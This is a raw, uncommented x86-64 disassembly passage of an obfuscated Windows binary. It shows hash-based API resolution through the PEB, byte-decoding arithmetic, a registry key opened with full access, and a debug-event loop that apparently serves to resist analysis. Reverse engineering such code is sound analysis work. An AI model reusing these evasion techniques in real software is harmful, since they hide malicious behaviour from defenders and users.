mov byte [rbp + r9 + 0x580], r8b
mov qword [rbp - 0x48], rdx
add rbx, r10
mov rsi, rdx
jmp 0x140136faf
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x42
mov qword [rbp - 0x48], rsi
movzx eax, sil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013707e
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edx, [rax + rax]
add dl, cl
add dl, r8b
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x580], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x48], rdx
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x580], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rsi, rdx
jmp 0x14013706f
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea esi, [rdx + rcx]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
movzx eax, byte [rbp + r9 + 0x580]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401364c8
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x7a
mov qword [rbp - 0x48], rsi
jmp 0x1401364c3
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
jmp 0x1401364b3
lea r12, [rbp + 0x145e328]
jmp 0x1401370ef
lea r12, [rbp + 0x136aa66]
jmp 0x1401370ef
lea r12, [rbp + 0x580]
mov r10, qword [0x1404fc178]
xor eax, eax
test r10, r10
jne 0x140137262
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137170
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137162
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137151
cmp r8d, esi
jne 0x140137242
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140137242
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140137242
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401371c4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401371b9
cmp edx, r14d
je 0x1401371da
test r10d, r10d
jne 0x1401371a4
jmp 0x140137242
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140137259
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140137259
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140137235
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140137211
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140137228
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137256
cmp qword [rbx + 0x30], rax
jne 0x140137120
mov r10, rax
mov qword [0x1404fc178], r10
xor eax, eax
mov qword [rsp + 0x40], rax
lea rcx, [0x1404fba68]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x140137409
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137316
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140137308
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401372f7
cmp r9d, esi
jne 0x1401373f6
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401373f6
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401373f6
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x140137371
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x140137364
cmp r8d, r14d
je 0x140137386
test ebx, ebx
jne 0x14013734f
jmp 0x1401373f6
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401373fe
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401373fe
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401373c7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401373b9
jmp 0x1401373dc
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401373cf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401372c6
mov qword [0x1404fc118], rdx
mov r13, qword [rbp - 0x58]
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x14013757f
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137491
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137483
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137472
cmp r8d, esi
jne 0x140137561
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140137561
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140137561
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401374e5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401374da
cmp edx, r14d
je 0x1401374fb
test r11d, r11d
jne 0x1401374c5
jmp 0x140137561
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140137578
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140137578
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140137555
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140137532
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140137548
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137575
cmp qword [rbx + 0x30], rax
jne 0x140137441
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x1401376fb
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013760d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401375ff
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401375ee
cmp r8d, esi
jne 0x1401376dd
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401376dd
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401376dd
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137661
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137656
cmp edx, r14d
je 0x140137677
test r11d, r11d
jne 0x140137641
jmp 0x1401376dd
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401376f4
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401376f4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401376d1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401376ae
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401376c4
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401376f1
cmp qword [rbx + 0x30], rax
jne 0x1401375bd
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x14013786e
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137780
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137772
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137761
cmp r8d, esi
jne 0x140137850
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140137850
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140137850
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401377d4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401377c9
cmp edx, r14d
je 0x1401377ea
test r11d, r11d
jne 0x1401377b4
jmp 0x140137850
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140137867
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140137867
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140137844
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140137821
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140137837
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137864
cmp qword [rbx + 0x30], rax
jne 0x140137730
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x1401379e1
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401378f3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401378e5
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401378d4
cmp r8d, esi
jne 0x1401379c3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401379c3
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401379c3
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137947
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013793c
cmp edx, r14d
je 0x14013795d
test r11d, r11d
jne 0x140137927
jmp 0x1401379c3
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401379da
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401379da
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401379b7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140137994
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401379aa
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401379d7
cmp qword [rbx + 0x30], rax
jne 0x1401378a3
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404fc138], rax
jne 0x140137b53
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137a63
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137a55
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137a44
cmp r8d, esi
jne 0x140137b35
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140137b35
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140137b35
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140137ab7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137aac
cmp edx, r14d
je 0x140137acd
test r9d, r9d
jne 0x140137a97
jmp 0x140137b35
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140137b4c
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x140137b4c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x140137b28
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140137b04
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140137b1b
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137b49
cmp qword [rbx + 0x30], rax
jne 0x140137a13
mov r9, rax
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140137bca
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x140137bb0
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137b91
cmp r9d, 0x610c0de3
je 0x140137c20
mov r8, qword [r8]
xor eax, eax
cmp r8, r10
je 0x140137bc0
cmp qword [r8 + 0x30], rax
jne 0x140137b76
mov r8, rax
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea edi, [rax + 1]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140137c1b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x140137bff
cmp ecx, 0xe463da3c
je 0x140137c26
add r9d, edi
jmp 0x140137be3
mov r8, qword [r8 + 0x30]
jmp 0x140137bc3
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
xor eax, eax
test r10, r10
jne 0x140137dc0
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137ccb
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137cbd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137cac
cmp r8d, esi
jne 0x140137d9d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140137d9d
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140137d9d
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137d1f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137d14
cmp edx, r14d
je 0x140137d35
test r10d, r10d
jne 0x140137cff
jmp 0x140137d9d
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140137db4
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140137db4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140137d90
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x140137d6c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x140137d83
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137db1
cmp qword [rbx + 0x30], rax
jne 0x140137c7b
mov r10, rax
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11a0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
xor eax, eax
test r8, r8
jne 0x140137f46
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140137e56
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140137e48
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140137e37
cmp r8d, esi
jne 0x140137f28
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140137f28
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140137f28
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140137eaa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140137e9f
cmp edx, r14d
je 0x140137ec0
test r11d, r11d
jne 0x140137e8a
jmp 0x140137f28
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140137f3f
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140137f3f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140137f1b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x140137ef7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x140137f0e
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140137f3c
cmp qword [rbx + 0x30], rax
jne 0x140137e06
mov r8, rax
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rdi, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x48]
mov r14, qword [rbp - 0x68]
mov r12, qword [rbp - 8]
mov edx, dword [rsp + 0x68]
inc edx
mov dword [rsp + 0x68], edx
add qword [rbp - 0x18], 0x28
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 6]
cmp edx, eax
mov r15, qword [rbp - 0x10]
jl 0x140131e68
mov r15d, 1
or r12, 0xffffffffffffffff
mov ebx, 0xfa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x11d0], xmm0
mov qword [rbp + 0x11e0], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x11f0]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x1260]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11d0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11f0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x10002
mov edx, dword [rbp + 0x11e4]
mov ecx, dword [rbp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
or edx, 0xffffffff
lea rcx, [rbp + 0x1260]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
sub rbx, r15
jne 0x140137f9f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1180], xmm0
mov qword [rbp + 0x1190], rax
mov byte [rbp + 0x340], WSACleanup
mov byte [rbp + 0x341], 0x75
mov byte [rbp + 0x342], 0x66
mov byte [rbp + 0x343], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x344], 0x68
mov byte [rbp + 0x345], Ordinal_46
mov byte [rbp + 0x346], 0x62
mov byte [rbp + 0x347], WSASetLastError
mov byte [rbp + 0x348], 0x64
mov byte [rbp + 0x349], 9
mov dword [rbp + 0x34a], eax
mov word [rbp + 0x34e], ax
mov byte [rbp + 0x350], al
movabs r14, 0x4f724e3b7386880
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x11
jae 0x1401386f1
movzx r8d, byte [rbp + r10 + 0x340]
mov edx, r8d
cmp rbx, r10
ja 0x1401386e8
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14013813a
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x80
jmp 0x14013814d
je 0x140138687
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14013863a
cmp r9, r10
ja 0x1401386df
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140138182
movabs rcx, 0x684606ae07a09280
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
add dil, cl
jmp 0x140138195
je 0x1401385f0
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401385d0
lea rax, [rbx + r9]
cmp rax, r10
